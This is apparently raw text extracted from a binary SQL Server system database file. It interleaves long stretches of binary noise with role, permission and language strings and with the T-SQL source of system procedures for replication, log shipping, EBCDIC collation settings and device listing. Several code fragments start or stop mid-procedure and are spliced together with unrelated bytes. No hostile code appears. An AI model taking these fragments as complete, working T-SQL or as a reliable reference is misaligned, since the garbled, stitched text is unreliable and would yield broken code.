P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P   P  !P  "P  #P  $P  %P  &P  'P  (P  )P  *P  +P  ,P  -P  .P  /P  0P  1P  2P  3P  4P  5P  6P  7P  8P  9P  :P  ;P  <P  =P  >P  ?P  @P  AP  BP  CP  DP  EP  FP  GP  HP  IP  JP  KP  LP  MP  NP  OP  PP  QP  RP  SP  TP  UP  VP  WP  XP  YP  ZP  [P  \P  ]P  ^P  _P  `P  aP  bP  cP  dP  eP  fP  gP  hP  iP  jP  kP  lP  mP  nP  oP  pP  qP  rP  sP  tP  uP  vP  wP  xP  yP  zP  {P  |P  }P  ~P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  6SFL@Extent Lock - Exclusive6	SFL:Extent Lock - Update6SFL6Extent Lock - Next6SFL>Extent Lock - Previous6SOP>cursor_close_on_commit6SOP,ansi_warnings6SOP*ansi_padding6 SOP&ansi_nulls6@SOP&arithabort6SOP(arithignore6T  &References6T  0Create Function6T  Select6T  Insert6T  Delete6T  Update6T  *Create Table6T  0Create Database6T  $Grant_WGO6T  Grant6T  Deny6T  (Create View6T  2Create Procedure6T   Execute6T  0Backup Database6T  .Create Default6T  6Backup Transaction6T  (Create Rule6V  *logical disk6V  ,backup device6 V  ,serial writes6SRV"sysadmin6 SRV,securityadmin6@SRV(serveradmin6SRV&setupadmin6SRV<System Administrators6 SRV@Security Administrators6@SRV<Server Administrators |n`RD6(,rdVH:,xFvhZL>0"jzLl.^PB4&
~pbTF8*tfXJ<. xj\N@2$Lt|n`RD6(rdVH:,








v
h
Z
L
>
0
"


zl^PB4$N&j@ 
~pbTF8*








t
(f
X
J
<
.
 


					p	L	(	~r	n6x	j	\	VN	T<$ @	2	$		x`J	jNnT< TT: ``=$jP  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P   P   P   P   P   P    P   @P   P  !P  !P  !P  !P  !P  ! P  !@P  !P  "P  	"P  
"P  "P  "P  
" P  "@P  "P  #P  #P  #P  #P  #P  # P  #@P  #P  $P  $P  $P  $P  $P  $ P  $@P  $P   %P  !%P  "%P  #%P  $%P  %% P  &%@P  '%P  (&P  )&P  *&P  +&P  ,&P  -& P  .&@P  /&P  0'P  1'P  2'P  3'P  4'P  5' P  6'@P  7'P  8(P  9(P  :(P  ;(P  <(P  =( P  >(@P  ?(P  @)P  A)P  B)P  C)P  D)P  E) P  F)@P  G)P  H*P  I*P  J*P  K*P  L*P  M* P  N*@P  O*P  P+P  Q+P  R+P  S+P  T+P  U+ P  V+@P  W+P  X,P  Y,P  Z,P  [,P  \,P  ], P  ^,@P  _,P  `-P  a-P  b-P  c-P  d-P  e- P  f-@P  g-P  h.P  i.P  j.P  k.P  l.P  m. P  n.@P  o.P  p/P  q/P  r/P  s/P  t/P  u/ P  v/@P  w/P  x0P  y0P  z0P  {0P  |0P  }0 P  ~0@P  0P  1P  1P  1P  1P  1P  1 P  1@P  1P  2P  2P  2P  2P  2P  2 P  2@P  2P  3P  3P  3P  3P  3P  3 P  3@P  3}`C&	x[>!sV9nQ4iL/dG*
|_B%wZ= rU8mP3hK.cF){^A$vY<qT7lO2




g
J
-

bE(z]@#



u
X
;


				p	S	6		kN1fI,~aD'
y\?"tW:oR5jM0eH+}`aTe 6A  :collation compatible6D  ,not recovered6A  system6D   offlineP  P  P  P  P  P  P  P  P  	P  
P  P  P  
P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P   P  !P  "P  #P  $P  %P  &P  'P  (P  )P  *P  +P  ,P  -P  .P  /P  0P  1P  2P  3P  4P  5P  6P  7P  8P  9P  :P  ;P  <P  =P  >P  ?P  @P  AP  BP  CP  DP  EP  FP  GP  HP  IP  JP  KP  LP  MP  NP  OP  PP  QP  RP  SP  TP  UP  VP  WP  XP  YP  ZP  [P  \P  ]P  ^P  _P  `P  aP  bP  cP  dP  eP  fP  gP  hP  iP  jP  kP  lP  mP  nP  oP  pP  qP  rP  sP  tP  uP  vP  wP  xP  yP  zP  {P  |P  }P  ~P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  	P  
P  P  P  
P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P   P  !P  "P  #P  $P  %P  &P  'P  (P  )P  *P  +P  ,P  -P  .P  /P  0P  1P  2P  3P  4P  5P  6P  7P  8P  9P  :P  ;P  <P  =P  >P  ?P  @P  AP  BP  CP  DP  EP  FP  GP  HP  IP  JP  KP  LP  MP  NP  OP  PP  QP  RP  SP  TP  UP  VP  WP  XP  YP  ZP  [P  \P  ]P  ^P  _P  `P  aP  bP  cP  dP  eP  fP  gP  hP  iP  jP  kP  lP  mP  nP  oP  pP  qP  rP  sP  tP  uP  vP  wP  xP  yP  zP  {P  |P  }P  ~P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  6SOP4quoted_identifier6SRV*processadmin6SRV>Process Administrators~pbTF8*tfXJ<. xj\N@2$|n`RD6(rdVH:,vhZL>0"zl^PB4&
~pbTF8*tfXJ<. N@2$








|
n
`
R
D
6
(


rdVH:,vhZL>0"








z
l
^
P
B
4
&



									~	p	b	T	F	8	*				tfXJ<. xj\N@2$|n`RD6(rdVH:,vhZL>0"zl^PB4&
~pbTF8*tfXJ<. Jt``]iP  4P  4P  4P  4P  4P  4 P  4@P  4P  5P  5P  5P  5P  5P  5 P  5@P  5P  6P  6P  6P  6P  6P  6 P  6@P  6P  7P  7P  7P  7P  7P  7 P  7@P  7P  8P  8P  8P  8P  8P  8 P  8@P  8P  9P  9P  9P  9P  9P  9 P  9@P  9P  :P  :P  :P  :P  :P  : P  :@P  :P  ;P  ;P  ;P  ;P  ;P  ; P  ;@P  ;P  <P  <P  <P  <P  <P  < P  <@P  <P  =P  =P  =P  =P  =P  = P  =@P  =P  >P  >P  >P  >P  >P  > P  >@P  >P  ?P  ?P  ?P  ?P  ?P  ? P  ?@P  ?P  @P  @P  @P  @P  @P  @ P  @@P  @P  AP  AP  AP  AP  AP  A P  A@P  AP  BP  	BP  
BP  BP  BP  
B P  B@P  BP  CP  CP  CP  CP  CP  C P  C@P  CP  DP  DP  DP  DP  DP  D P  D@P  DP   EP  !EP  "EP  #EP  $EP  %E P  &E@P  'EP  (FP  )FP  *FP  +FP  ,FP  -F P  .F@P  /FP  0GP  1GP  2GP  3GP  4GP  5G P  6G@P  7GP  8HP  9HP  :HP  ;HP  <HP  =H P  >H@P  ?HP  @IP  AIP  BIP  CIP  DIP  EI P  FI@P  GIP  HJP  IJP  JJP  KJP  LJP  MJ P  NJ@P  OJP  PKP  QKP  RKP  SKP  TKP  UK P  VK@P  WKP  XLP  YLP  ZLP  [LP  \LP  ]L P  ^L@P  _LP  `MP  aMP  bMP  cMP  dMP  eM P  fM@P  gMP  hNP  iNP  jNP  kNP  lNP  mN P  nN@P  oNP  pOP  qOP  rOP  sOP  tOP  uO P  vO@P  wOP  xPP  yPP  zPP  {PP  |PP  }P P  ~P@P  PP  QP  QP  QP  QP  QP  Q P  Q@P  QP  RP  RP  RP  RP  RP  R P  R@P  RP  SP  SP  SP  SP  SP  S P  S@P  SP  TP  TP  TP  TP  T}`C&	x[>!sV9nQ4iL/dG*
|_B%wZ= rU8mP3hK.cF){^A$vY<qT7lO2




g
J
-

bE(z]@#



u
X
;


				p	S	6		kN1fI,~aD'
y\?"tW:oR5jM0eH+}`aD7v6A  :use remote collation6D  $read only6D2 (db chainingP  P  P  P  P  P  P  P  P  	P  
P  P  P  
P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P   P  !P  "P  #P  $P  %P  &P  'P  (P  )P  *P  +P  ,P  -P  .P  /P  0P  1P  2P  3P  4P  5P  6P  7P  8P  9P  :P  ;P  <P  =P  >P  ?P  @P  AP  BP  CP  DP  EP  FP  GP  HP  IP  JP  KP  LP  MP  NP  OP  PP  QP  RP  SP  TP  UP  VP  WP  XP  YP  ZP  [P  \P  ]P  ^P  _P  `P  aP  bP  cP  dP  eP  fP  gP  hP  iP  jP  kP  lP  mP  nP  oP  pP  qP  rP  sP  tP  uP  vP  wP  xP  yP  zP  {P  |P  }P  ~P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  6SOP4ansi_null_dflt_on6SRV$dbcreator6SRV4Database Creators6LNG$Bulgarian6LNGCzech6LNGDanish6LNGGerman6LNGGreek6	LNG English6LNG Finnish6LNGFrench6LNG$Hungarian6LNG Italian6LNG"japanese6LNGDutch6LNGPolish6LNG"Romanian6LNG Russian6LNG"Croatian6LNGSlovak6LNG Swedish6LNG Turkish6$LNG$Slovenian6%LNG"Estonian6&LNG Latvian6'LNG&Lithuanian6LNG$Brazilian6LNG8Traditional Chinese6LNGKorean6LNGArabic6LNGThai>P  ?P  @P  AP  BP  CP  DP  EP  FP  GP  HP  IP  JP  KP  LP  MP  NP  OP  PP  QP  RP  SP  TP  UP  VP  WP  XP  YP  ZP  [P  \P  ]P  ^P  _P  `P  aP  bP  cP  dP  eP  fP  gP  hP  iP  jP  kP  lP  mP  nP  oP  pP  qP  rP  sP  tP  uP  vP  wP  xP  yP  zP  {P  |P  }P  ~P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  6SOP4ansi_null_dflt_on6SRV$dbcreator6SRV4Database Creators6LNG$Bulgarian6LNGCzech6LNGDanish6LNGGerman6LNGGreek6	LNG English6LNG Finnish6LNGFrench6LNG$Hungarian6LNG Italia








z
l
^
P
B
4
&


~pbTF8*tfXJ<. 








x
j
\
N
@
2
$


									|	n	`	R	D	6	(			rdVH:,vhZL>0"zl^PB4&
~pbTF8*tfXJ<. xj\N@2$lL**|n`RDf6D(&
frdFV*H:,Vz"`R
S
<g6)0<a "0<d$;9c=-#;8@C@Xq@v!2Mh
%@[0@?AAST0@@?AULT0@?CEST0@?CETY0 A?CRTY0@?DBAT0@?DSTY0 A?ECAL0PA?ENAL0@?FTCT0pA?HPRT0@?LGTY0A?OBTY0??PFTY0@?PRST0@?USTY0@@?XEER0@@?XEMP((.AASTCESTRTYDSTYECALNALFTCTHPRTLGTYOBTYPRSTUSTY@"&*0<$	Z		mn?9b9v9vv*hA0E@@S:@J2:#:Qh	 7Ne|4Kby1H_v.E\s	+	B	Y	p							
(
?
V
m






%<Sj"9Pg~

6
M
d
{





3??B?A?A?pA?`A A AAAAAAA@0Aj@0A@UU@@@@@@33?@@? @A?@?A?X?@?_?@?f?@?l@A??A??A?@@??@?@0Ǎ?@@@@ An۶??@??@?@ A?@AI??0A?@@??A??0A?$?A?<?A?P?\B??0A??A??A??0A??A??A?@@??0A??A? ?A?8?A?L?A?`?0A?l?B??A??,B??@??A??B?<?pA?L?\B??\B??A??A?@A?@0A??A??@@@0A?@@?$?@@(?pA?8?@?@?@?H?B??@??@??@??\B??@??B??A?$?A?<?A?T?A?l?A??A??A??A??A??A??A??A?,?A?D?A?\?A?t?A??A??A??B??|B?H?|B??|B??<B?@@?A@?@0A@P @@@A@@@ A8?SA@`A@SD@`A@RG@`A@AL@`A@EN@0A?CP@ AUU?AR@0A?FS@An?WU?0A??0Aq?@??@??|WvZ@}	y`P>?U@yU?uV@^?@@@c~ɁQ?SVi@,?@!E@	0<\$$L>A@A'(C^y??DL  ??IN  ??RF  ??SL  ??UP  ((DL  IN  RF  SL  UP  @0<a$CN#?.:=.:=.:=CBA@EAAx 5J_t???????????	?????????#??)??1???3??<??=?@?A??B0< "0<$H	kh=
*+l0< "??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@?@??@@?@?@??@@??@@?@@???@@@@@?@??|WSVi@,?@!E@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!a37
<2.40 8
create procedure sys.sp_db_ebcdic277_2
(
	@dbname sysname = null,
	@status varchar(6) = null
)
as
	-- If database is not specified then is current database
	if (@dbname is null)
	begin
		set @dbname = DB_NAME();
	end

	-- If ON/OFF parameter is specified then is an action call
	if @status is not null
	begin
		if (lower(@status) not in ('on', 'off', 'true', 'false'))
		begin	
			raiserror (15231,16,1,'@status','sp_db_ebcdic277_2');
			return (1);
		end

		declare @fOnOff bit = 0;
		set @fOnOff = case lower(@status) 
			when 'on' then 1
			when 'true' then 1
			else 0
			end;
		exec %%DatabaseRef(Name = @dbname).SetEBCDIC277_2(EBCDIC277_2 = @fOnOff);
	end

	select cast(
			case databasepropertyex(name, 'version')
				when 706 then 0  -- SQL11_RTM
				when 715 then 1  -- SQL11_EBCDIC277_2_ENABLED
			end as bit) as Status
		 from sys.databases
		 where name = @dbname;

	return (0);
0n@ 8create procedure sys.sp_user_counter9 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 9', @newvalue)
0@ 8create procedure sys.sp_processlogshippingmonitorprimary 
(
    @mode tinyint -- 1 = add, 2 = delete, 3 = update
    ,@primary_id uniqueidentifier
    ,@primary_server sysname = NULL -- needed for add
    ,@monitor_server sysname 
    ,@monitor_server_security_mode bit 
    ,@primary_database sysname = NULL -- needed for add
    ,@backup_threshold int = NULL 
    ,@threshold_alert int = NULL
    ,@threshold_alert_enabled bit = NULL
    ,@last_backup_file nvarchar(500) = NULL
    ,@last_backup_date datetime = NULL
    ,@last_backup_date_utc datetime = NULL
    ,@history_retention_period int = NULL
)
as
begin
    set nocount on
    declare @retcode int
    
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- This should be called only on the remote monitor server
    --
    if (@monitor_server is null or upper(@monitor_server) != upper(@@servername) 
            or upper(@monitor_server) = upper(@primary_server))
        return 0
    --
    -- must be invoked from MSDB
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_processlogshippingmonitorprimary', N'msdb')
        return 1
    end
    --
    -- call the internal proc now
    --
    exec @retcode = sys.sp_MSprocesslogshippingmonitorprimary @mode = @mode
                ,@primary_id = @primary_id
                ,@primary_server = @primary_server
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = @monitor_server_security_mode
                ,@primary_database = @primary_database
                ,@backup_threshold = @backup_threshold
                ,@threshold_alert = @threshold_alert
                ,@threshold_alert_enabled = @threshold_alert_enabled
                ,@last_backup_file = @last_backup_file
                ,@last_backup_date = @last_backup_date
                ,@last_backup_date_utc = @last_backup_date_utc
                ,@history_retention_period = @history_retention_period
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
0 8create function sys.fn_MSmerge_get_syncview_name (@pubname sysname, @artname sysname, @pubid uniqueidentifier, @artid uniqueidentifier)
returns sysname
as
begin
    declare @viewname nvarchar(300)
    declare @i int
    declare @qualified_viewname nvarchar(305)
    declare @article_name_long bit
    declare @publication_name_long bit
    
    select @viewname = 'MSmerge_' + @pubname + '_' + @artname + '_VIEW'
    if (len(@viewname) > 128)
    begin
        if (len(@pubname) > 60)
            select @publication_name_long = 1
        else
            select @publication_name_long = 0

        if (len(@artname) > 60)
            select @article_name_long = 1
        else
            select @article_name_long = 0

        if @publication_name_long = 0
        begin
            select @viewname = 'MSmerge_' + @pubname + '_' + sys.fn_MSguidtostr(@artid) + '_VIEW'
            return @viewname
        end
        else
        begin
            if @article_name_long = 0
            begin
                select @viewname = 'MSmerge_' + sys.fn_MSguidtostr(@pubid) + '_' + @artname + '_VIEW'
                return @viewname
            end
            else
            begin
                select @viewname = 'MSmerge_' + sys.fn_MSguidtostr(@pubid) + '_' + sys.fn_MSguidtostr(@artid) + '_VIEW'
                return @viewname
            end
        end
    end
    else
    begin
        return @viewname
    end

    return @viewname
end
0 8CREATE PROCEDURE sys.sp_MSvalidate_dest_recgen @pubid uniqueidentifier, @recguid uniqueidentifier, @recgen bigint as
begin
	declare @retcode int, @has_subbased bit, @has_downloadonly bit, @is_publisher bit, @min_sentgen bigint
	
	exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid=@pubid
    if @@error <> 0 or @retcode <> 0
		return 1
	
	select @has_subbased = 0, @has_downloadonly = 0, @is_publisher = 0
	
	exec @retcode = sys.sp_MSvalidatecommongen @commongen = @recgen, @commongenguid = @recguid
	if @@error <> 0 or @retcode <> 0
		return 1
	
	if exists (select distinct * from dbo.sysmergepartitioninfoview 
				where partition_options = 3
				and pubid = @pubid)
		select @has_subbased = 1
               
     if exists (select * from dbo.sysmergepartitioninfoview smpi1
					where (upload_options = 1 or upload_options = 2)
					and pubid = @pubid)
		select @has_downloadonly = 1
		
	if sys.fn_MSmerge_islocalpubid(@pubid) = 1
		select @is_publisher = 1
		
	if @is_publisher = 1
	begin
		if @has_subbased = 1 or @has_downloadonly = 1
		begin
			select @min_sentgen = isnull(min(sentgen),0) from dbo.sysmergesubscriptions
            where pubid = @pubid 
            and subid <> @pubid
            
            if @recgen < @min_sentgen
            begin
				RAISERROR(21800 , 16, -1)
				return 1
			end
		end
	end
	else
	begin
		if @has_subbased = 1
		begin
			select @min_sentgen = isnull(min(sentgen),0) from dbo.sysmergesubscriptions
            where pubid = @pubid 
            and subid = @pubid
            
            if @recgen < @min_sentgen
            begin
				RAISERROR(21800 , 16, -1)
				return 1
			end
		end
	end
	
	if exists (select * from dbo.sysmergepublications where isnull(retention,0) = 0)
        return 0
    
    declare @curdate datetime, @cutoffdate datetime
    
    select @curdate = getdate()
    
    select @cutoffdate = min(sys.fn_subtract_units_from_date(isnull(retention,0), retention_period_unit, @curdate))
    from dbo.sysmergepublications
		
	if @recgen = 0 or exists (select * from dbo.MSmerge_genhistory where generation = @recgen and coldate <= @cutoffdate)
	begin
		RAISERROR(21800 , 16, -1)
		return 1
	end
	
	return 0
	
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$`d`<s1{0'@ ~8CREATE view sys.dm_fts_population_ranges
AS
	SELECT * FROM OpenRowset(TABLE FTCRAWLRANGES)
04 &8create procedure sys.sp_setreplfailovermode (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @failover_mode nvarchar (10), 
    @override tinyint = 0)
as
begin
    set nocount on
    declare @failover_mode_id bit, 
            @current_failover_mode_id bit,
            @retcode int,
            @queue_id sysname,
            @fqueue_empty int,
            @update_mode int,
            @queue_server sysname

    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return (1)
    --
    -- validate @failover_mode
    --
    if @failover_mode not in (N'immediate', N'sync', N'queued')
    begin
        raiserror (21184, 16, 1, N'@failover_mode', N'immediate', N'sync', N'queued')
        return 1            
    end
    select @failover_mode_id = case when (@failover_mode in (N'immediate', N'sync')) then 0 else 1 end
    --
    -- MSsubscription_agents should exist
    --
    if not exists (select * from sys.objects where name = N'MSsubscription_agents')
    begin
        raiserror(20588, 16, -1)
        return 1
    end
    --
    -- Only valid to get/set failover_mode, 
    -- if update_mode is failover (3,5)
    --
    select    @queue_id = queue_id, 
            @queue_server = queue_server,
            @current_failover_mode_id = failover_mode,
            @update_mode = update_mode
    from MSsubscription_agents
    where UPPER(publisher) = UPPER(@publisher) and 
        publisher_db = @publisher_db and
        publication = @publication and
        update_mode in (3,5)
    --
    -- no such row exists
    --
    if (@current_failover_mode_id is NULL)        
    begin
        raiserror (21185, 16, 1)
        return 1
    end
    --
    -- should have a queue entry
    --
    if (@queue_id is NULL)
    begin
        raiserror(21186, 16, 1, @publisher)
        return 1
    end
    --
    -- do the transition
    --
    if ((@current_failover_mode_id = 0 and @failover_mode_id = 0) or
            (@current_failover_mode_id = 1 and @failover_mode_id = 1))
    begin
        --
        -- Going from immediate to immediate, queued to queued is no-op
        --
        raiserror (21187, 16, 1)
    end
    else if (@current_failover_mode_id = 0 and @failover_mode_id = 1)
    begin
        --
        -- Going from immediate to queued : update MSsubscription_agents
        --
        update MSsubscription_agents
            set failover_mode = @failover_mode_id
            where UPPER(publisher) = UPPER(@publisher) and 
                publisher_db = @publisher_db and
                publication = @publication and
                update_mode in (3,5)
        --
        -- create queue if necessary
        --
        if object_id(N'dbo.MSreplication_queue') is null
        begin
            exec @retcode = sp_MScreate_sub_tables_internal
                @tran_sub_table = 0,
                @property_table = 0,
                @sqlqueue_table = 1
        end
        --
        -- We are done
        --
        raiserror (21188, 10, 1, 'immediate', 'queued')
    end
    else if (@current_failover_mode_id = 1 and @failover_mode_id = 0)
    begin
        --
        -- Going from queued to immediate : if override is not set
        -- then check if the queue is empty and then allow if empty.
        -- If override is set, just update MSsubscription_agents
        --
        if (@override = 0)
        begin
            if (@update_mode = 3)
            begin
                --
                -- MSMQ processing
                -- prefix the queue_id with queue server in direct format
                -- and then perform peek in the queue
                --
                select @queue_id = N'DIRECT=OS:' + @queue_server + N'\PRIVATE$\' + @queue_id
                exec @retcode = sys.xp_peekqueue @queue_id, @fqueue_empty output, 0
                if (@@error != 0 or @retcode != 0)
                begin
                    raiserror(21465, 16, 1, 'xp_peekqueue')
                    return 1
                end
                --
                -- queue should be empty
                --
                if (@fqueue_empty != 1)
                begin
                    raiserror(21189, 16, 1, @queue_id)
                    return 1
                end
            end
            else
            begin
                --
                -- SQL Queue processing
                -- MSreplication_queue should exist
                --
                if object_id(N'dbo.MSreplication_queue') is null
                begin
                    raiserror(20588, 16, -1)
                    return 1
                end
                --
                -- queue should be empty
                --
                if exists (select * from MSreplication_queue 
                    where UPPER(publisher) = UPPER(@publisher) and 
                            publisher_db = @publisher_db and
                            publication = @publication )
                begin
                    raiserror(21189, 16, 2, @queue_id)
                    return 1
                end
            end
        end
        else
        begin
            raiserror(21190, 10, 1, 'queued', 'immediate')
        end
        --
        -- update MSsubscription_agents
        --
        update MSsubscription_agents
            set failover_mode = @failover_mode_id
            where UPPER(publisher) = UPPER(@publisher) and 
                publisher_db = @publisher_db and
                publication = @publication and
                update_mode in (3,5)

        raiserror (21188, 10, 1, 'queued', 'immediate')
    end
    --
    -- All done
    --
    return 0
end
01	 
8
create procedure sys.sp_MSSQLDMO80_version
as
	/* localize message without changing message number */
	declare @errtxt nvarchar(1024)
	select @errtxt=text from sys.messages, sys.syslanguages
	where message_id = 29001 
		and language_id=sys.syslanguages.lcid 
		and sys.syslanguages.langid = @@langid

	if @errtxt IS NULL
	begin
		select top(1) @errtxt=text from sys.messages, sys.syslanguages
		where message_id = 29001 
	end
	RAISERROR(55555, 16, 1); -- @errtxt

	RETURN 1
substring(@command_string, @curr_char_index, 1) 
        if @curr_char in (N'%', N'<', N'>', N'|', N'&', N'^')
        begin
            select @escaped_command_string = @escaped_command_string + N'^'
        end

        if @curr_char <> '"'
        begin
            select @escaped_command_string = @escaped_command_string + @curr_char
        end
        select @curr_char_index = @curr_char_index + 1 
    end
    return @escaped_command_string
end
Description = @msgtext)

	-- EMDEventType(x_eet_Create_Message), EMDUniversalClass( x_eunc_Type), src major id, src minor id, src name
	-- -1 means ignore target stuff, target major id, target minor id, target name,
	-- # of parameters, 5 parameters
	EXEC %%System().FireTrigger(ID = 227, ID = 106, ID = @msgnum, ID = 0, Value = @msg_str,
		ID = -1, ID = 0, ID = 0, Value = NULL, 
		ID = 6, Value = @msgnum, Value = @severity, Value = @msgtext, Value = @lang, Value = @with_log, Value = @replace, Value = NULL)

	COMMIT TRANSACTION

	return (0) -- sp_addmessage
>
h`<
#9i)0lo2 8create procedure sys.sp_helpdevice --- 1996/04/08 00:00
@devname sysname = NULL		/* device to check out */
as

/*	Create temp tables before any DML to ensure dynamic
**  Create a temporary table where we can build up a translation of
**  the device status bits.
*/
create table #spdevtab
(
	name sysname		NOT NULL,
	statusdesc nvarchar(255)	null
)

-- alter the columns to master's collation, since we are inserting names from master.dbo.sysdevices.
-- This is needed because if this proc is being run in CDB, then the columns would be the CDB's data 
-- collation that could be different from master db's collation.
-- 
declare @alterTab nvarchar(1024)
select @alterTab = N'alter table #spdevtab alter column name sysname COLLATE ' + convert(nvarchar(256), SERVERPROPERTY('collation')) + ' NOT NULL'
exec(@alterTab)
select @alterTab = N'alter table #spdevtab alter column statusdesc nvarchar(255) COLLATE ' + convert(nvarchar(256), SERVERPROPERTY('collation')) + ' NULL'
exec(@alterTab)


/*
**  See if the device exists.
*/

if not exists (select * from master.dbo.sysdevices where name = @devname)
	begin
    if (@devname is not null)
        begin
		    raiserror(15012,-1,-1,@devname)
		    return (1)
	    end
    end

set nocount on

/*
**  Initialize the temporary table with the names of the devices.
*/
insert into #spdevtab (name)
	select name
		from master.dbo.sysdevices
		where (@devname is null or name = @devname)


/*
**  Now figure out what kind of controller type it is.
**
**  cntrltype =			0	special (data disk)
**				2	disk (dump)
**				3-4	floppy (dump)	Not supported in SQL 7.0
**				5	tape			No size information in SQL 7.0
**				6	pipe
**				7	virtual_device
*/
update #spdevtab
	set statusdesc = N'special'
		from master.dbo.sysdevices d, #spdevtab
			where d.cntrltype = 0
				and #spdevtab.name = d.name
update #spdevtab
	set statusdesc = N'disk'
		from master.dbo.sysdevices d, #spdevtab
			where d.cntrltype = 2
				and #spdevtab.name = d.name

update #spdevtab
	set statusdesc = N'tape'
		from master.dbo.sysdevices d, #spdevtab
			where d.cntrltype = 5
				and #spdevtab.name = d.name

update #spdevtab
	set statusdesc = N'virtual_device'
		from master.dbo.sysdevices d, #spdevtab
			where d.cntrltype = 7
				and #spdevtab.name = d.name

update #spdevtab
	set statusdesc = N'UNKNOWN DEVICE'
		from master.dbo.sysdevices d, #spdevtab
			where d.cntrltype >= 8
				and #spdevtab.name = d.name


/*
